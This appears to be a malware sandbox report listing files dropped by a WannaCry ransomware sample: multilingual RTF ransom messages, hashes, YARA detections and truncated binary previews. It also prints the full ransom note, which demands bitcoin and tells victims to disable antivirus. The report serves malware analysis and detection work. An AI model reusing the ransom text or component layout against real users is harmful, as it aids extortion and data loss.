                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_polish.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):39896
                                      Entropy (8bit):5.048541002474746
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdD2SG2gA8w8OJ6868jy8/8w8m8T848f8y858l8j8yv:Shef3jHdxG2KhuZrS14G
                                      MD5:E79D7F2833A9C2E2553C7FE04A1B63F4
                                      SHA1:3D9F56D2381B8FE16042AA7C4FEB1B33F2BAEBFF
                                      SHA-256:519AD66009A6C127400C6C09E079903223BD82ECC18AD71B8E5CD79F5F9C053E
                                      SHA-512:E0159C753491CAC7606A7250F332E87BC6B14876BC7A1CF5625FA56AB4F09C485F7B231DD52E4FF0F5F3C29862AFB1124C0EFD0741613EB97A83CBE2668AF5DE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_portuguese.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37917
                                      Entropy (8bit):5.027872281764284
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2QG2xgk5eo75Y3kmA31dv61QyV:Shef3jHdCG2EZrS14p
                                      MD5:FA948F7D8DFB21CEDDD6794F2D56B44F
                                      SHA1:CA915FBE020CAA88DD776D89632D7866F660FC7A
                                      SHA-256:BD9F4B3AEDF4F81F37EC0A028AABCB0E9A900E6B4DE04E9271C8DB81432E2A66
                                      SHA-512:0D211BFB0AE953081DCA00CD07F8C908C174FD6C47A8001FADC614203F0E55D9FBB7FA9B87C735D57101341AB36AF443918EE00737ED4C19ACE0A2B85497F41A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_romanian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):52161
                                      Entropy (8bit):4.964306949910696
                                      Encrypted:false
                                      SSDEEP:768:Shef3jHdXG2Cz2/vBAOZsQO0cLfnF/Zhcz7sDsYZBB/0gBjL+IU/hbhMVDtsR49P:ShehlrGR1m4dx9mjVyAvg7ouDT
                                      MD5:313E0ECECD24F4FA1504118A11BC7986
                                      SHA1:E1B9AE804C7FB1D27F39DB18DC0647BB04E75E9D
                                      SHA-256:70C0F32ED379AE899E5AC975E20BBBACD295CF7CD50C36174D2602420C770AC1
                                      SHA-512:C7500363C61BAF8B77FCE796D750F8F5E6886FF0A10F81C3240EA3AD4E5F101B597490DEA8AB6BD9193457D35D8FD579FCE1B88A1C8D85EBE96C66D909630730
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_russian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):47108
                                      Entropy (8bit):4.952777691675008
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2qG2aUGs0K6lyZqmfGGHRblldORZeo75Y3kmA31L:Shef3jHdeG2lGsDOcZxbP7ZrS14K
                                      MD5:452615DB2336D60AF7E2057481E4CAB5
                                      SHA1:442E31F6556B3D7DE6EB85FBAC3D2957B7F5EAC6
                                      SHA-256:02932052FAFE97E6ACAAF9F391738A3A826F5434B1A013ABBFA7A6C1ADE1E078
                                      SHA-512:7613DC329ABE7A3F32164C9A6B660F209A84B774AB9C008BF6503C76255B30EA9A743A6DC49A8DE8DF0BCB9AEA5A33F7408BA27848D9562583FF51991910911F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_slovak.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):41391
                                      Entropy (8bit):5.027730966276624
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHd4Yb2YG2gNZ8a8zV/8j8U8l8x838Z8Q808m8d8T8hw:Shef3jHdZvG23AZrS14f
                                      MD5:C911ABA4AB1DA6C28CF86338AB2AB6CC
                                      SHA1:FEE0FD58B8EFE76077620D8ABC7500DBFEF7C5B0
                                      SHA-256:E64178E339C8E10EAC17A236A67B892D0447EB67B1DCD149763DAD6FD9F72729
                                      SHA-512:3491ED285A091A123A1A6D61AAFBB8D5621CCC9E045A237A2F9C2CF6049E7420EB96EF30FDCEA856B50454436E2EC468770F8D585752D73FAFD676C4EF5E800A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_spanish.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37381
                                      Entropy (8bit):5.02443306661187
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdf24G2/ezV6YQUdZYlujeMQ9RXmhRweo75Y3kmA31S:Shef3jHdrG2fuhZrS14T
                                      MD5:8D61648D34CBA8AE9D1E2A219019ADD1
                                      SHA1:2091E42FC17A0CC2F235650F7AAD87ABF8BA22C2
                                      SHA-256:72F20024B2F69B45A1391F0A6474E9F6349625CE329F5444AEC7401FE31F8DE1
                                      SHA-512:68489C33BA89EDFE2E3AEBAACF8EF848D2EA88DCBEF9609C258662605E02D12CFA4FFDC1D266FC5878488E296D2848B2CB0BBD45F1E86EF959BAB6162D284079
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_swedish.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):38483
                                      Entropy (8bit):5.022972736625151
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdb24G2ZKLVdDeo75Y3kmA31dv61QyE:Shef3jHd/G2w6ZrS14w
                                      MD5:C7A19984EB9F37198652EAF2FD1EE25C
                                      SHA1:06EAFED025CF8C4D76966BF382AB0C5E1BD6A0AE
                                      SHA-256:146F61DB72297C9C0FACFFD560487F8D6A2846ECEC92ECC7DB19C8D618DBC3A4
                                      SHA-512:43DD159F9C2EAC147CBFF1DDA83F6A83DD0C59D2D7ACAC35BA8B407A04EC9A1110A6A8737535D060D100EDE1CB75078CF742C383948C9D4037EF459D150F6020
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_turkish.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):42582
                                      Entropy (8bit):5.010722377068833
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHds42WG2mzGu/eo75Y3kmA31dv61QyZ:Shef3jHdsiG2moZrS149
                                      MD5:531BA6B1A5460FC9446946F91CC8C94B
                                      SHA1:CC56978681BD546FD82D87926B5D9905C92A5803
                                      SHA-256:6DB650836D64350BBDE2AB324407B8E474FC041098C41ECAC6FD77D632A36415
                                      SHA-512:EF25C3CF4343DF85954114F59933C7CC8107266C8BCAC3B5EA7718EB74DBEE8CA8A02DA39057E6EF26B64F1DFCCD720DD3BF473F5AE340BA56941E87D6B796C9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_vietnamese.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):93778
                                      Entropy (8bit):4.76206134900188
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdW2YG22cViQj3KiG8dpcH8iEriG8E8O83Jz52sxG8h:Shef3jHdWG2+oPZrS14i
                                      MD5:8419BE28A0DCEC3F55823620922B00FA
                                      SHA1:2E4791F9CDFCA8ABF345D606F313D22B36C46B92
                                      SHA-256:1F21838B244C80F8BED6F6977AA8A557B419CF22BA35B1FD4BF0F98989C5BDF8
                                      SHA-512:8FCA77E54480AEA3C0C7A705263ED8FB83C58974F5F0F62F12CC97C8E0506BA2CDB59B70E59E9A6C44DD7CDE6ADEEEC35B494D31A6A146FF5BA7006136AB9386
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\r.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):864
                                      Entropy (8bit):4.5335184780121995
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0Ei5bnBR7brW8PNAi0eEprY+Ai75wRZce/:DZD36W5/vWmMo+m
                                      MD5:3E0020FC529B1C2A061016DD2469BA96
                                      SHA1:C3A91C22B63F6FE709E7C29CAFB29A2EE83E6ADE
                                      SHA-256:402751FA49E0CB68FE052CB3DB87B05E71C1D950984D339940CF6B29409F2A7C
                                      SHA-512:5CA3C134201ED39D96D72911C0498BAE6F98701513FD7F1DC8512819B673F0EA580510FA94ED9413CCC73DA18B39903772A7CBFA3478176181CEE68C896E14CF
                                      Malicious:false
                                      Yara Hits:
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send %s to this bitcoin address: %s.... Next, please find an application file named "%s". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window...

                                      C:\Users\user\Desktop\s.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                      Category:dropped
                                      Size (bytes):3038286
                                      Entropy (8bit):7.998263053003918
                                      Encrypted:true
                                      SSDEEP:49152:zUx4db9A1iRdHAHZXaTnCshuTnSQYUB/UZfCg2clOQin2h37l2Jh9iiRKpbXUSH:z/b96AdHA5XaTJvQYUBBgRlJi+rlliRy
                                      MD5:AD4C9DE7C8C40813F200BA1C2FA33083
                                      SHA1:D1AF27518D455D432B62D73C6A1497D032F6120E
                                      SHA-256:E18FDD912DFE5B45776E68D578C3AF3547886CF1353D7086C8BEE037436DFF4B
                                      SHA-512:115733D08E5F1A514808A20B070DB7FF453FD149865F49C04365A8C6502FA1E5C3A31DA3E21F688AB040F583CF1224A544AEA9708FFAB21405DDE1C57F98E617
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:PK..........!(................Data/PK........M..J................Data/Tor/PK..........!(................Tor/PK..........!(..t.......0.....Tor/libeay32.dll.:.t.e....6m.....Me.Vjil....!..E..T..e...*..e....,.c..o=..t.u..,....J..k-.x.V..:1u....v..7.L~..?{..rN23.w......o..N2....WU..G..G.......Ed..7..q.o.5.]w.{...wl\y..m..w...?]......n......Z]UX./h4.....]...71....e.\^1..I..MH5...k.o+..s...c|s....-#d,!..............eW...?a.......R..I..R......w.....m..#od.*q.&..g.;.C(..t.V...j.Jq%...d_.Js...Hk.j#...DH.....,8_.O...]U....t .......ks:..T...18.C.%ASZJ3.U.nl..J.@)...$...N.s.O........m.0..*e..4.....m...lI..Z..7.f-.?....;...?.SO....}..7#.L8...5.z.~.........E.S..1....7.*.0...pf.....jz.)..Y..8..^....B........p.W..r..B.....p..?......../`*Wl..D.xAi..$..d.......&..p. ..bOtE.\.......(..&A...6v..S..Q...L...3 .:.6.m7.'.......)......iH.NZ_t.;./.a..n.g...A`.T.k.........."...<.rt..3....0.{N..yy...p.z.=..#.u.u...d......mQ..*.H..2.N.BRSN...XC....).".@.._.18.&...n

                                      C:\Users\user\Desktop\t.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):65816
                                      Entropy (8bit):7.997276137881339
                                      Encrypted:true
                                      SSDEEP:1536:am+vLII5ygV8/tuH+P9zxqDKvARpmKiRMkTERU:a9LAg4tXPTEKvADmFgRU
                                      MD5:5DCAAC857E695A65F5C3EF1441A73A8F
                                      SHA1:7B10AAEEE05E7A1EFB43D9F837E9356AD55C07DD
                                      SHA-256:97EBCE49B14C46BEBC9EC2448D00E1E397123B256E2BE9EBA5140688E7BC0AE6
                                      SHA-512:06EB5E49D19B71A99770D1B11A5BB64A54BF3352F36E39A153469E54205075C203B08128DC2317259DB206AB5323BDD93AAA252A066F57FB5C52FF28DEEDB5E2
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....8"'....].~>(...*PdIf.'.m>...2.0.`p...^...#I|..<.W.B.=....M..zxFp....0e...P...."....nhB)>....B..}.[d$......,...8.....k$.....S.w+.....N.....p/...Y.LC......9L.\!u...?hH".<d..dS%A.......Iu...nEi7I.....8.V..:F....-...,........\....}..`1?..m..5g.I'..................q.\..9`..t.....a......(|.8.L....67.gjrS.|.e...f.Fi......\...r.k.!d......8.'g1y+..'.i1t.L.>.u..:......<.fN.:Tf{..M.....W....._......_:...rR(.M..A?:...H.W.....=l......r..f..JX...:.z.rC.....f.X Qx.4....2....&w+..&kDqFU..u.............Sg..4k..<5.Zd$F.ED...1.S.d.. .eW.i....p.2..&.~S.l.R8$&q.L3.<.2....x ..by.zO.w. .hs.q.....I.1..D.F...J).&.....SD..v..m...V.....G...B`.u>K@.\_N......#.|..w.....Z.).X..[..o.(.'.~.nq.hq1.....:!.Q.P...c.KA,.3..m...j>.X.;..<.*."AU..R....Y....d]....U....).@...Q....|K.=.d.cI.x.....O...\(.%}.j..YG}...i.....R..j.`..9...5.....o..U...xu>+.$y...z... ...5......s..e...G...W.".T.'..iH..B.Sl...h..7B..E.8.....K.bRm...FE..W'_Q1...... ...A.5.}..%.../^VL.;.".w

                                      C:\Users\user\Desktop\taskdl.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):20480
                                      Entropy (8bit):3.1664845408760636
                                      Encrypted:false
                                      SSDEEP:96:Udocv5e0e1wWtaLYjJN0yDGgI2u9+w5eOIMviS0jPtboyn15EWBwwWwT:6oL0edtJN7qvAZM6S0jP1oynkWBwwWg
                                      MD5:4FEF5E34143E646DBF9907C4374276F5
                                      SHA1:47A9AD4125B6BD7C55E4E7DA251E23F089407B8F
                                      SHA-256:4A468603FDCB7A2EB5770705898CF9EF37AADE532A7964642ECD705A74794B79
                                      SHA-512:4550DD1787DEB353EBD28363DD2CDCCCA861F6A5D9358120FA6AA23BAA478B2A9EB43CEF5E3F6426F708A0753491710AC05483FAC4A046C26BEC4234122434D5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=..y..y..y......x......r......x......}.....z..y..Q..O..x..Richy..........PE..L...W.[J.....................0............... ....@..........................P...............................................!..P....@............................................................................... ...............................text............................... ..`.rdata..z.... ....... ..............@..@.data........0.......0..............@....rsrc........@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\taskse.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):20480
                                      Entropy (8bit):2.5252509618107535
                                      Encrypted:false
                                      SSDEEP:96:UjpvOHheaCDCNIOgTegoddPtboyX7cvp0EWy1HlWwr:UjVWEam7ofP1oyX7olWUHlW0
                                      MD5:8495400F199AC77853C53B5A3F278F3E
                                      SHA1:BE5D6279874DA315E3080B06083757AAD9B32C23
                                      SHA-256:2CA2D550E603D74DEDDA03156023135B38DA3630CB014E3D00B1263358C5F00D
                                      SHA-512:0669C524A295A049FA4629B26F89788B2A74E1840BCDC50E093A0BD40830DD1279C9597937301C0072DB6ECE70ADEE4ACE67C3C8A4FB2DB6DEAFD8F1E887ABE4
                                      Malicious:true
                                      Reputation:unknown
